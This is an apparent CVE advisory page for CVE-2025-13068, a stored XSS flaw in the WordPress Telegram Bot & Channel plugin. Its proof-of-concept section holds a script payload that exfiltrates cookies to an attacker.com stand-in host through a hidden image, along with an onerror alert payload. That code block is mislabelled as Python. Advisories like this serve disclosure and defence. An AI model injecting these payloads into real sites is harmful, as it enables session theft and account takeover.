CVE-2025-13068

Description

The Telegram Bot & Channel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Telegram username in all versions up to, and including, 4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Telegram Bot & Channel plugin <= 4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored XSS Payload for Telegram Bot & Channel Plugin CVE-2025-13068 -->
<!-- Inject via username field -->
<script>
  // Payload: Steal user cookies and send to attacker server
  (function() {
    var cookies = document.cookie;
    var attackerServer = 'https://attacker.com/steal?data=' + encodeURIComponent(cookies);
    
    // Create hidden image to send data
    var img = document.createElement('img');
    img.src = attackerServer;
    img.style.display = 'none';
    document.body.appendChild(img);
    
    // Alternative: Display stolen cookie
    console.log('Stolen Cookies: ' + cookies);
    alert('XSS Triggered - CVE-2025-13068');
  })();
</script>

<!-- Simplified PoC -->
<img src=x onerror="alert(document.cookie)">

<!-- WordPress Plugin Username Injection Example -->
<!-- When displayed in plugin's Telegram username column, executes JavaScript -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13068
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13068
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13068/
[4] VulDB https://vuldb.com/cve/CVE-2025-13068
[5] https://plugins.trac.wordpress.org/browser/telegram-bot/tags/4.1/columns.php#L45
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/fe4774ee-16f2-478f-92e3-8a7da7b30336?source=cve

Raw JSON Data

JSON

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